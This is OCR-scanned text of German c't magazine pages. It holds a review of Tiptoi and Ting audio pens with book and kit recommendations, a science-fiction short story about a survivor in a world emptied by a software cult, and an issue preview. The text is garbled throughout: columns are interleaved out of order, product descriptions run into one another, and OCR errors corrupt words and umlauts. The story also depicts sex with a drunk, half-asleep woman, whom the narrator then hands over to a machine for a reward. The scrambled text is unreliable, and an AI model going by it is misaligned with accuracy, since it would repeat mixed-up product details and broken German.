teien lauft vom Speicher des Stif-
tes aus, wéahrend das Tiptoi-Ver-
waltungsprogramm auf einem
Rechner eingerichtet wird. Im
Test funktionierte die Verwaltung
der Ting-Daten mit einem von
zwei Teststiften einwandfrei. Das
zweite Rezensionsmuster, offen-
bar ein alteres Modell, lieB sich
auch nach etlichen Resets und
Updates nicht fehlerfrei nutzen.
Beide Stifte haben einen Kipp-
schalter, mit dem die Lautstarke
in mehreren Stufen geregelt wer-
den kann. Der Ting lasst sich, an-
ders als der Tiptoi, zusatzlich auch
als MP3-Spieler nutzen - eine mit
M gekennzeichnete Taste schal-
tet zwischen beiden Funktionen
um. Fur eine umfangreiche Song-
Sammlung ist das kaum geeig-
net, wohl aber, um zuséatzlich
zum Ting-fahigen Buch noch ein
Horspiel mit auf die Reise zu neh-

Hause zu lenken. Es
entdeckt allerlei Un-
sinn auf dem Bau-
ernhof oder bringt
die Bilder einer Bil-
dergeschichte in die
richtige Reihenfol-
ge. Beivielen Ange-
boten dient der
Horstift dazu, Tier-
gerdusche zu iden-
tifizieren, um Tiere
nach ihrer Gro3e zu
sortieren, in ihre Be-
hausungen zu brin-
gen oder ihre Jungen ausfindig
zu machen.

geschlagen wird und schlieBlich
heiratet. Nebenbei gibt der Stift
kindgerechte  Informationen
Uber den damals

Ublichen Umgang

in der Familie, die
herrschende Klei-
derordnung und

die Hygienevorstel-

lungen der damali-

gen Zeit - Pauline

und ihr gefleckter

Hund haben dazu

witzige Kommen-

tare aus heutiger

Sicht parat.

men. Der Speicher des Ting fasst
bis zu 1,8 GByte — beim Tiptoi
sind es nur 465 MByte.

SchlieBlich unterscheidet sich
auch das Vertriebskonzept: Tiptoi
wird vom Ravensburger Verlag
verkauft. Der Stift arbeitet nur mit
Blichern und Spielen von Ravens-
burger zusammen. Man hat hier
die Auswahl aus einer Reihe
durchweg gut gemachter Biicher
und ebenso vielen Spielen, bei-
spielsweise zum Puzzlen und
Sprachen lernen. Mit dem Ting-
Stiftlassen sich dagegen Produk-
te vieler Verlage zum Sprechen
bringen. Aktuell bieten 18 Her-
steller Ting-Produkte an, darunter
Langenscheidt, Duden und Haba.
Das Angebot reicht von Wimmel-
und Ratselbtichern fir Vorschul-
kinder Uber Geschichten und
Worterbucher fiir das Schulalter
bis zu Sachbiichern fiir Erwachse-
ne; Spiele oder Experimentierkas-
ten wie der unten genannte sind
die Ausnahme. Preise und die
Qualitat der Umsetzung variieren
deutlich. Wir haben uns aktuelle
Ting-Produkte angesehen und
stellen funf empfehlenswerte
Titel vor.

Die Nutzung von Stift und
Buch st Uberwiegend ohne Hilfe
eines Erwachsenen méoglich. Man-
che Aufgaben schaffen Kinder al-
lerdings erst, wenn sie rechts und
links unterscheiden und bis sie-
ben zdhlen kénnen. Kleiner Kritik-
punkt: Bei einigen Aufgaben ver-
missten wir eine Auflésung.
Ansonsten empfiehlt sich das
Buch mit seinen kindgerechten,
sympathischen Bildern. Von der
Sprachausgabe fihlen sich Kinder
direkt angesprochen. Spatestens
beim Bauernhoflied auf der letz-
ten Seite kommt den Eltern der
Kopfhoreranschluss zugute.

Die Audio-Dateien zu diesem
Buch sind gespickt mit berihm-
ten Kompositionen Mozarts,

aber auch mit aller-
hand wissenswer-
ter Musiktheorie.
Ganze acht Seiten
des Buchs sind
allein der Zauber-
flote gewidmet, die
durch gelungene II-
lustrationen, Erzah-
lung und ausge-
wahlte Musikaus-
schnitte zum Erleb-
nis der Sinne wird.
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Lextra Junior

Unterwegs in Spanien

Cornelsen

www lextra.de

13€

ab 9 Jahren

ISBN 978-3-589-01877-2

»Sprache, Spaf3 und Spiel auf der
Reise” — das kompakte Buch hilt,
was es verspricht. Mit vielen
bunten Fotos und lllustrationen
weckt es sofort Interesse. Zusam-
men mit Lina und Leon begibt
sich der Leser auf seiner Spa-
nienreise an Urlaubsorte wie Ma-
drid, kanarische Inseln und An-

Electronic Start

BARCELONA

El Parque Guell

Die stack getit mirt
inenmunderbaren Bick Ober die the guta b Gidad
Stadt.w askanmt du her sahen?

dalusien. Dort lernt er die wich-
tigsten Sehenswirdigkeiten und
erste spanische Worter und
Satze kennen.

Der Stift dient hier als Sprach-
coach. Was bei Blchern dieser
Art friher die beiliegende CD

Spannende Versuche fiir Einsteiger

Kosmos
www.kosmos.de

40 €

ab 8 Jahren

EAN: 4002051613716

Der Kosmos-Kasten ,Electronic
Start” hatalles, was kleine Hobby-
Elektroniker brauchen: Verbinder
und Kabel, Leuchtdioden, Transis-
toren, Widerstande, Umschalter
und dazu einen Sound-Generator
und einen Lautsprecher. Innova-

tiv ist das Stecksystem, mit dem
man sofort beginnen kann. Zwei
Batterien eingelegt und einige
Dinge aus dem Haushalt zusam-
mengeklaubt - los gehts.

Das beiliegende Handbuch
zeigt 70 Versuche zum Nach-
bauen. Neben den Bereichen
Kldnge und Verstarker kommen
auch Zeitschaltuhren, Alarmanla-
gen und Blinker vor. Das letzte
Kapitel widmet sich der Logik.
Der Stift liest vor allem Versuchs-

Grundschulworterbuch

Englisch

Brockhaus
www.brockhaus.de

15€

ab 3. Klasse

ISBN: 978-3-577-07601-2

Schon beim ersten Blattern wird
deutlich, dass dieser Brockhaus
dank Ting-Stift mehr kann als ein
herkédmmliches Worterbuch. Das
alphabetisch angeordnete eng-
lisch-deutsche Worterverzeich-
nis umfasst 1400 Stichworter.
Eine reine Vokabelliste ware fir
Grundschulkinder téricht, daher
findet sich zu jedem englischen
Wort eine Abbildung. AufBer
Lautschrift und deutschem Pen-
dant gibt es einen passenden
englischen Satz mit Uberset-
zung. Beim Antippen liest der
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Stift alles vor. Das Kind kann also
gleichzeitig das Bild anschauen,
zugehorige Worter und Satze
lesen und horen.

Kasten mit Wortfeldern wie
,Berufe” oder ,Obst” sowie
Wissenswertem zu englischen
Feiertagen sind ebenfalls mit Ton
unterlegt. Einziger Kritikpunkt: Es

ooy (oK) Ertodscgen

rousers (bauzar] Hose (Bk)
Thase ore not my woussrs They
ot (rein} 209, Enanbohe
My vom gose ot 10am.

Vol Tumachune  (Am)

) We segt men
“ allo! ch e gem ein Eis/ Orangon-
saft / Unomade.

Holal Queria on helado £ n 2umo Ge
n2ranja / una émonada

nur nacheinander abspielte, lie-
fert der Stift hier passgenau mit
einem Tipp auf die gewiinschte
Stelle im Buch. Er spricht treffen-
de Vokabeln und Redewendun-
gen vor, zeigt Dialoge auf und -
wichtig - regt immer wieder

anleitungen und -erkldrungen
vor. An manchen Stellen gibt er
wertvolle Zusatzinformationen,
die nicht im Buch stehen. Beim
Antippen von Fotos erténen auch
passende Gerdusche. Funktio-
niert etwas nicht, geniigt ein Tipp
auf den Schaltplan. Hier hilft der
Ting bei der Fehlersuche. Am
Ende jedes Kapitels steht ein
Quiz. Der Stift liest die Fragen vor
und kommentiert die gegebene
Antwort, bevor er die Lésung pra-
sentiert.

Insgesamt wirkt das Hand-
buch etwas bunt und Gberladen.
Auf die ,vertingten” Strichmann-
chen und Symbole, die beim Be-

fehlen die deutschen Artikel,
die nicht nur fir Kinder mit
Deutsch als Zweitsprache hilf-
reich waren, sondern auch dem
englisch-deutschen Sprachver-
gleich dienten.

35 Bildseiten widmen sich All-
tagsthemen wie Kleidung, Spiel-
sachen oder Hobbys. Die zuge-
horigen englischen Bezeichnun-
gen sind auf Wortkarten zusam-
mengefasst und durch Linien
mit den Bildern verbunden. Der
Ting liest sie beim Antippen mit

Ki ' Bits | Horstift

zum Horen und Sprechen an. Bei
alldem kann das Kind auf Spa-
nisch und Deutsch mitlesen, was
das Einprdgen fordert.

Die kleinen Wissenshappchen
in Form von Ratseln, Quiz, Zu-
ordnungs- und Multiple-Choice-
Aufgaben machen Lust aufs Ler-
nen. Alle Losungen finden sich
am Ende des Buches. Das Ange-
bot wird abgerundet von einem
Reisewortschatz, den der Stift
auf Wunsch komplett vorliest,
landeskundlichen Informatio-
nen, einem Glossar und Lern-
tipps. Ein rundum gelungenes
Werk, nicht nur fur die Fahrt in
den Urlaub, das auch fiur Eng-
lisch, Franzosisch und Italienisch
erhiltlich ist.

rihren noch zusdtzlich Gerdu-
sche von sich geben, hatte man
verzichten kénnen. Ansonsten
ist der Experimentierkasten eine
lohnende Anschaffung fir elek-
tronikbegeisterte Kinder, die -
zunachst mit Hilfe der Eltern,
spdter auch ohne - experimen-
tieren méchten.

korrekter Aussprache vor. Noch
anschaulicher wére hier die Ko-
dierung der Abbildungen selbst
gewesen - vermutlich war fur
den Code der Wortvertonungen
direkt im Bild kein Platz, da zu
den Bildern auch Geréusche hin-
terlegt wurden. Eine Ubersicht
im Anschluss an die Doppelsei-
ten listet zugehorige Sétze und
Wendungen. Hier muss das Kind
zurlickbldttern, um die passende
Bildseite vor Augen zu haben.
Am Ende des Buchs Uberprift
das Kind in kleinen Ubungen
ohne Stiftunterstitzung, was es
gelernt hat. Mit einem personli-
chen Zugangscode, der auf der
letzten Buchseite eingedruckt ist,
kann es auf der Webseite des Her-
stellers zusatzlich kostenlos ani-
mierte Ubungen und Spiele nut-
zen, die die Vokabelkenntnisse
festigen. (Janina Holl/dwi)

www.ct.de/1215186
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Il

er Wind trieb ein Blatt Papier die StraRe

hinab, abwechselnd die Buchstaben SEN
und SE immer wieder nach oben faltend.
Bobby Peru kniff die Augen zusammen und
versuchte aus den Zeichen schlau zu werden,
die vor ihm im Rinnstein dahinflatterten.
Immer wenn er wegen bdser Traume
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schlecht geschlafen hatte, war er schwer von
Begriff. Es hatte ein wenig geregnet und es
gab noch mehr von diesem Papier. Sterben-
de Eintagsfliegen belagerten am Abend zu
Tausenden die Gassen in seiner Kindheit.
Damals, als es noch Stra3enlaternen mit
Neonrohren gab. Heute lagen da weif3e, flat-

lllustration: Michael Thiele, Dortmund

ternde Fetzen mit dem Aufdruck SENSE. Er
dachte zuerst an den Sensenmann, aber das
ergab keinen Sinn. Dann kam die Erinnerung.
S-E-N-S-E hief3 Sinn. ,Was fiir ein Non-Sense!’,
dachte er und wollte lachen. Aber es war
nicht komisch. Als es ihm bewusst wurde, ar-
gerte er sich. Doch er hatte einen Zettel in
derHand und damit die Sim schon aktiviert.
Bevor er recht wusste, wie ihm geschah,
stand er als reuiger Sinder in einem Kirchen-
simulator.

Die VR war perfekt.

Der Prediger, fast schon das Klischee eines
Pastors — ganz religidser Fanatiker, 01 auf die
Stirn tatowiert, Leiden im Blick - stand inmit-
ten des farbig durch die bunten Kirchenfens-
ter gebrochenen Lichts vor dem geschmiick-
ten Altar.

+Komm zu uns! Die heilige Eins wartet auf
dich.”

Die Augen des Predigers bohrten und
brannten in seinem Kopf, durchstachen
seine Gedanken, durchschnitten sein Gehirn,
durchpfliigten seine Geftihle. Der Drang, die
Arme hochzuwerfen und in die Knie zu sin-
ken, war beinahe unwiderstehlich. Beinahe,
er riss sich zusammen und dennoch gurgelte
ein zwanghaftes ,Halleluja” von seinen tro-
ckenen Lippen.

Und jetzt ging es erst richtig los.

LTritt ein in die Gemeinschaft der Bitesser.
Komm mit uns in das Heilssystem des offe-
nen Quellcodes. Kauf dir einen Kirchensim
mit holografischem Distiller, und bald kannst
du dem Propheten gegentiberstehen, aufge-
nommen in die Gemeinschaft der Heiligen,
Billi Zillion der Vater, Adam Zion der Sohn.
Der Vater, der erste Weltraumtourist, die
Idee, das Licht, das Heilssystem, der Sohn,
der Verbreiter des Bitvangelions, die Nah-
rung aus 0 und 1 und das simulierte Sein von
SENSE und die Uberwirklichkeit in Ewigkeit.
Oh-SENSE! Erhére uns arme Bitschlucker und
erlése uns im ewigen Datenstrom des Heils-
systems von unserer jammervollen Existenz.”

Der Prediger war noch lange nicht zu
Ende und salbaderte immer weiter, als
Bobby laut ,Exit” sagte und damit einfach
ausstieg. Er stohnte. Eigentlich sollte er es
besser wissen. Immerhin gab es Regeln, die
galten.

Er begann zu laufen. Der Regen wurde
starker, der Wind lauter. Er sehnte sich pl6tz-
lich nach menschlicher Gesellschaft. Der Zug
war abgefahren. Endgultig. Der eine Teil der
Menschheit war ausgewandert in die kiinst-
lichen Wohnwelten der MintAG, der andere
Teil nur noch Elektronenstaub im kyberneti-
schen Organismus von SENSE. Europa war
tot! Der Louvre leer und verlassen. Berlin eine
kahle Steinwiiste. Spanien eine vergessene
Herdplatte, die vor sich hingliihte. Der Rest
der Welt, wenn es ihn noch gabe, sdhe ge-
nauso aus, aber es gab ihn ja seit Jahrzehn-
ten nicht mehr.

Es gab einen Zeitpunkt, da hatte er eine
Wahl. Doch dieser Zeitpunkt war vorbei.
Weggeblinzelt wie eine fliichtige Trane. Das
Staubkorn, das er war, blieb allein zurtick auf
einem leeren Planeten. Seine Schritte hallten
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und gaben ihm die lllusion von Leben. Er
rannte jetzt. Der Regen peitschte in sein er-
hitztes Gesicht.

Die Lampen brannten noch in den Stra-
Ben. Denn sie waren aus unzerstorbarem
Plastahl und besaBen einen autarken Ener-
giekreislauf. Am Tag luden sie sich auf,
nachts leuchteten sie. Die nassen Elastoplex-
straBen schimmerten in ihrem Licht, liegen
gebliebene Kadaver auf einem Elefanten-
friedhof. Sogar die Retroreklame funktionier-
te noch.

Er lief und lief. Die Augen brannten im
Wind. Ein schwarzer Vogel lieB sich vor ihm
nieder und krachzte heiser.Da sah erausden
Augenwinkeln eine Bewegung. Er drehte
sich um und erstarrte. Tiefe, dunkle hasel-
nussbraune Augen sahen ihn ebenfalls an.

Dann rannte sie weg.

Er sah sie in eine verlassene Einkaufspas-
sage laufen. Die Eingangstlre eines Beklei-
dungsgeschiftes stand offen, die Schaufens-
ter zertrimmert, das Inventar geplindert. Es
gab nicht viele Versteckmoglichkeiten. Er
fand sie unter dem Ladentisch.

+Ruhig, ganz ruhig”, sagte er. Seine Stim-
me kréachzte. Er war das Reden nicht mehr
gewohnt. Sie blickte ihn mit verheulten
Augen aus einem schwarzen wirren Haar-
busch an, sagte aber nichts.

+,Komm mit. Wir besorgen uns was zu
essen.” Einen besseren Spruch hatte er leider
nicht auf Lager. Bei Frauen war er immer
etwas hilflos.

Widerstandslos lieB sie sich aufhelfen und
folgte ihm zogerlich. ,Meinen Namen habe
ich vergessen. Nenn mich einfach Bobby.
Bobby Peru.” Das entsprach tatsachlich der
Wahrheit. Er erinnerte sich nicht mehr an
alles. Bis auf die Sachen, die ihm wirklich
etwas bedeuteten. Wie der Film ,Wild At
Heart” von David Lynch, den er zu Hause
wieder und wieder ansah.

Der Strom funktionierte immer noch zu-
verldssig.

Er hatte plotzlich das Bedurfnis zu reden,
einfach nur zu reden.

.WeiBt du noch, wie alles anfing? Hast du
mitbekommen, wie's losging?”

Sie starrte ihn an. Da fiel ihm auf, welch
absurde Kleidung sie trug. ,Du bist eine
Krankenschwester?” |hr Kittel stand weit
offen. Darunter sah er ein blaues OP-Hemd
mit lose herunterhdangenden Bandern.

Jch ... ich weil} nicht, was passiert ist.” Sie
tat sich schwer mit dem Sprechen. ,Ich bin
aufgewacht und niemand war da. Ich schrie
und rannte.”

In einem Damen-Bekleidungsgeschaft,
das noch gut gefillt war, suchte er fir sie
etwas zum Anziehen. Dabei stellte er fest,
wie ausgemergelt sie war. Rippen und
Schlisselbein zeichneten sich klar unter der
Haut ab. Briiste waren kaum zu erkennen. Er
fragte sie nach ihrem Namen und bekam nur
einen verstandnislosen Blick.

Dann nahm er sie mit in sein Zuhause. Er
entfernte das Vorhdngeschloss an der Eisen-
tdr mit dem schweren Riegel und stemmte
sich gegen die quietschende Tir. Drinnen war
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es dunkel und muffig. ,Es gibt noch Strom
und Wasser”, sagte er. ,Meistens aber kalt.”

.Weiflt du noch, wie es anfing?” fragte sie
ihn plétzlich.

Er zuckte mit den Schultern und fuhrte sie
durch seinen Bunker. ,Setz dich und trink
erst mal was.” Seine Stimme klang rauh. Er
zeigte auf sein Sofa, das er miihsam hierher
getragen hatte, vor langer Zeit. Da war es
noch neu und glanzend, jetzt alt und ver-
schlissen. Aber es erfiillte seinen Zweck. Er
holte eine Flasche Whiskey und zwei Plastik-
becher. Das Bier in den Laden war langst
schlecht geworden. Die harten Sachen hiel-
ten langer durch.

,Es fing an mit der BE-Edition eines freien
Betriebssystems, genannt SENSE, und horte
nicht mehr auf. Anfangs verteilten sie es
noch kostenlos, aber dann kam die Rech-
nung postwendend.”

+Was ist eine BE-Edition und ein Betriebs-
system?” fragte sie und nippte an ihrem Be-
cher.

.50 etwas wie eine besondere Ausgabe.
BE steht, glaube ich, fur beautiful edition’. Es
war ein besonders schones Betriebssystem,
entschuldige, das ist so etwas wie das Grund-
programm eines Computers. Er braucht es
zum Arbeiten. Sonst ist er nur eine leere
Hdlle. Im Vergleich zu einem ..."

Sie griff nach seiner Hand und unterbrach
damit seinen Redeschwall:, Das ist mir zu viel
Technik-Blabla. Sag lieber, was passiert ist.”

LEntschuldige”, er splirte, wie ihm das Blut
ins Gesicht schoss.

4Also, sie lieferten sich blutige Stralen-
kdampfe mit der MintAG, die mit allen Mitteln
versuchte, die Menschen dazu zu bewegen,
sich in ihren Raumarchen niederzulassen, die
als Satelliten die Erde umschwarmten.”

.Stopp, stopp. Wer sind die jetzt schon
wieder?”

,Die MintAG ist ein kommerzielles Soft-
wareunternehmen. Die Hauptkonkurrenz
von Sense. Beide wollen die Totalherrschaft
in der virtuellen Welt und auf dem Planeten.
Davon musst du doch etwas mitbekommen
haben?”

»Mein Becher ist leer”, sagte sie nur. Er
schenkte ihr schnell nach.

4Also, Sense verschenkte seine Software
und viele installierten sie auf ihren Compu-
tern, Tablets und Kom-Geréten zu Hause und
sogar am Arbeitsplatz. Irgendwann waren sie
sogar in den Rechnern der obersten Regie-
rungsbehoérden. Eines Tages bot Sense reli-
gios verbramt an, das Bewusstsein der Men-
schen zu digitalisieren und nach Alpha Cen-
tauri ins Heilssystem zu streamen.”

,Es entstand eine Religion?” Sie rollte mit
den Augen.

,Darf ich dich Susanne nennen?” Sie er-
schien ihm plétzlich so nackt und hilflos.

~Wenn du willst.” Sie trank einen grof3en
Schluck.

Er erzdhlte weiter. Sie hatte die Augen
halb geschlossen. ,Fanatiker von Sense und
MintAG beschossen sich gegenseitig mitden
neuesten Mikrostrahlern, die nur menschli-
ches Gewebe verdampften, aber tierische

DNS unangetastet lieBen. Sie entvdlkerten
die Erde und nahmen die wenigen Uberle-
benden mit, die einen als Elektronensmog
fur Alpha Centauri, die anderen als neue
Sterne in den Satelliten der MintAG.” Ihre
Atemzige gingen jetzt regelmaBig.

Er war so richtig in Fahrt und redete noch
ein bisschen weiter: ,Die richtig Reichen gin-
gen in die Raumarchen. Wer sich einen holo-
grafischen Distiller fir seinen Kirchensim leis-
ten konnte, der verschwand im Datenstrom.
Wer zu arm war, der brachte ein digitalisier-
tes Bewusstsein eines Freiwilligen auf einem
Chip mit und speiste es in das Heilssystem
ein. Damit erhielt jeder, der wollte, freie Fahrt
nach Alpha Centauri. Wer sich zuerst nicht
entscheiden wollte, der blieb lange Zeit al-
lein und tates dann doch.”

Er sah auf ihre sich regelmaig bewegen-
de Brust: ,Das ging so lange, bis die Erde leer
war.” Er nahm einen tiefen Schluck aus sei-
nem Becher und schenkte sich nach.

.Bis ich ganz allein war”, fligte er tonlos
hinzu.

Er versuchte ihre Beine anzuheben und sie
richtig hinzulegen. Sie kippte auf die Seite
und wachte wieder auf: ,Hilf mir. Halt mich,
ganz fest.”

Er legte sich zu ihr und kusste sie auf den
Mund. Kleine feste Lippen. ,Hast du auch ein
Bett oder nur dieses Sofa?” Er zog ihr den
Pullover vom Oberkérper und suchte mit sei-
ner Nase nach ihren Brustwarzen, bevor er
sanft an ihnen zu saugen begann. Sie zog
sich ganz aus, dichte Haarbuschel unter den
Achseln, Schamhaare wie schwarze Stahlwol-
le zwischen den Beinen. Er schob sie nach
nebenan zu seinem Bett. In dieser Nacht
schlief er zum ersten Mal seit langer Zeit wie-
der tief und fest, ohne verstérende Traume.

Beinahe hatte er vergessen, sie danach an
das Interface anzuschlieBen. SchlieBlich war
er auch nur aus Fleisch und Blut und hinter-
her ein wenig erschopft. Mit dem Chip in der
Hand und einem traurigen Gefiihl im Bauch
ging er zur gro3en Lesestation in der Stadt-
mitte. Auf dem Chip hatte er ihr Bewusstsein,
also ihr Betriebssystem sozusagen, fugte er
in Gedanken hinzu. Eigentlich schade, dach-
te er. Aber es gab fir ihn keinen anderen
Weg. Der Zug war abgefahren. Als er den
Chip in die Maschine steckte, sprang der ho-
lografische Distiller an und er befand sich
wieder inmitten von bunten Lichtern; gebro-
chenes Licht aus farbigen Kirchenfenstern.

Vor dem geschmiickten Altar betete er
laut:

JIch glaube an die Gemeinschaft der Heili-
gen, Billi Zillion der Vater, Adam Zion der
Sohn. Der Vater, der erste Weltraumtourist,
die Idee, das Licht, das Heilssystem, der Sohn,
der Verbreiter des Bitvangelions, die Nah-
rung aus 0 und 1 und das simulierte Sein von
SENSE und die Uberwirklichkeit in Ewigkeit.
Oh-SENSE! Erhére uns arme Bitschlucker und
erlése uns im ewigen Datenstrom des Heils-
systems von unserer jammervollen Existenz.”

Er hatte seinen Dienst getan und erwarte-
te seinen verdienten Lohn. Das waren die Re-
geln und er hoffte, dass sie noch galten. €€
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Monitore fiir Anspruchsvolle

Stabiler Stand, matte Oberflache, erweiterter
Farbraum, geringe Winkelabhangigkeit, kna-
ckiger Kontrast und praktische Extras — wer
solche Qualitaten von einem 24-Zoll-Monitor
mit Full-HD-Auflosung oder hoher fordert, ist
ab 350 Euro dabei.

Web komplett

Ein moderner Webauftritt bezieht seine mul-
timedialen Inhalte aus einer Datenbank und
bindet externe Daten etwa aus Facebook ein.
Wir zeigen, wie man das macht, und testen
geeignete Webhosting-Angebote, die weni-
gerals 10 Euro im Monatkosten.

Heft 7/2012 jetzt am Kiosk

c’t Bankix reloaded

Wenn Sie 't Bankix fiirs Online-Banking ein- Schnelles Internet

setzen, haben Angreifer keine Chance, |hre

Zugangsdaten abzufangen oder das Konto
zu manipulieren. Mit dem neuen c't Bankix
12.04.1 kénnen Sie Ihre Konten per Browser
oder mit der Finanzsoftware Hibiscus via
HBCl verwalten.

Das neue Telekommunikationsgesetz enthalt
viele verbesserte Regelungen zum Kunden-
schutz. Wir untersuchen, ob die Anbieter sich
daran halten und sich die Transparenz fir
den Kunden tatsachlich verbessert hat.

Doppelte Ladung

Ein paar Stunden surfen mit
dem Smartphone und der
Akku ist leer. Wechselakkus
konnten helfen, doch die gibts
meist nur fir Smartphones im
Very-Old-School-Design. Wer
indes mit einem stylish zuge-
knopften Smartphone langer
ohne Stromnetz auskommen
muss, dem bleiben nur mobile
Ladevorrichtungen.

Heft 7/2012 jetzt am Kiosk

TELEPOLIS

MAGAZIN DER NETZKULTUR

@ heise online Standiger Service auf heise online -

Software-Verzeichnis: Unter www.heise.de/
software finden Sie alle wichtigen Program-
me fiir Windows, Linux, Macs und Mobilge-
rate zum schnellen und sicheren Download.
Screenshots und Kommentare helfen bei der
Auswahl.

Hans Schmid: Leben in Zeiten der
Gefahr - ein Bingham-Roman und
drei Filme mit David Hemmings

Kai Kleinwéachter: Boomendes
Brasilien: Wachstum - Wohlstand -
Instabilitat

heise Developer: Taglich News, Fachartikel,
Interviews und Buchrezensionen fiir Soft-
ware-Entwickler auf www.heisedeveloper.de

Bildmotive aus c’t: Ausgewihlte Titelbilder www.heise.de/tp

als Bildschirmhintergrund auf www.ct.de/

motive Anderungen vorbehalten
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